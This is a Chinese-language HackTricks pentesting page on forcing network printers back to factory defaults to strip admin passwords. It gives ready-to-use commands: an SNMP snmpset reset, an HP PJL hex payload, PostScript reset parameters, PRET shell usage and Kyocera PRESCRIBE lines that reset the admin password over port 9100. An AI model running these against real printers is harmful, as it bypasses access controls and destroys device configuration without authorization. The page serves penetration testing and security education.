hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md
2023-08-03 19:12:22 +00:00

92 lines
6.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>
**将设备恢复到出厂设置**是一项安全关键的功能,因为它会**覆盖用户设置的密码**等保护机制。通常可以通过在打印机的**控制面板**上按下**特殊的组合键**来完成此操作。执行这样的冷重置只需要几秒钟,因此对于本地攻击者或渗透测试人员来说,这是一个现实的场景,他们可以在午餐时间潜入复印室。然而,**并不总是可以物理访问**设备。
### SNMP
打印机MIB定义了**prtGeneralReset**对象(**OID 1.3.6.1.2.1.43.5.1.1.3.1**允许攻击者使用SNMP重新启动设备powerCycleReset(4)重置NVRAM设置resetToNVRAM(5)或恢复出厂设置resetToFactoryDefaults(6))。这个功能/攻击**支持各种各样的打印机**并删除了嵌入式Web服务器的用户设置密码等所有保护机制。虽然保护机制可以有效地绕过但这种方法的一个实际缺点是所有**静态IP地址配置将丢失**。**如果没有DHCP**服务可用,攻击者将**无法**在将设备重置为出厂设置后**重新连接**到设备。
可以使用以下`snmpset`命令将设备恢复到出厂默认设置(你需要知道**community string**,在大多数情况下默认为`public`
```bash
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
```
### [PML](./#pml)/[PJL](./#pjl)
在许多情况下攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而在**HP设备**上,**SNMP**可以转换为其**PML表示**并将请求嵌入到合法的打印作业中。这使得攻击者可以在普通的打印作业中**重新启动和/或重置设备**为出厂默认设置,如下所示:
```bash
@PJL DMCMD ASCIIHEX="040006020501010301040106"
```
任何人都可以在惠普打印机上复制这种攻击,使用[**PRET**](https://github.com/RUB-NDS/PRET)可以轻松地重新启动或重置设备:
```bash
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PostScript
PostScript提供了一个类似的功能**FactoryDefaults**系统参数,它是一个标志,如果在打印机关闭之前将其设置为**true**,则会在下次开机时将所有非易失性参数恢复为其**出厂默认值**。需要注意的是,**PostScript**本身也具有重新启动其**环境**的能力,但需要一个**有效的密码**。
然而,正如在[文档处理](http://hacking-printers.net/wiki/index.php/Document\_processing)的DoS攻击中讨论的那样PostScript解释器可以被置于一个**无限循环**中,这会迫使用户**手动重新启动**设备从而重置PostScript密码。
将PostScript系统参数重置为出厂默认值
```bash
<< /FactoryDefaults true >> setsystemparams
```
重启PostScript解释器和虚拟内存
```bash
true 0 startjob systemdict /quit get exec
```
任何人都可以使用[**PRET**](https://github.com/RUB-NDS/PRET)轻松地重新启动或重置打印机的PostScript解释器
```bash
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PRESCRIBE
对于**Kyocera设备**,可以使用**PRESCRIBE页面**描述语言通过以下命令之一在普通打印作业中将设备**恢复到出厂默认设置**
```bash
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
```
要重现此攻击请打开到打印机的9100/tcp端口的原始网络连接并**发送上述记录的命令**。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
</details>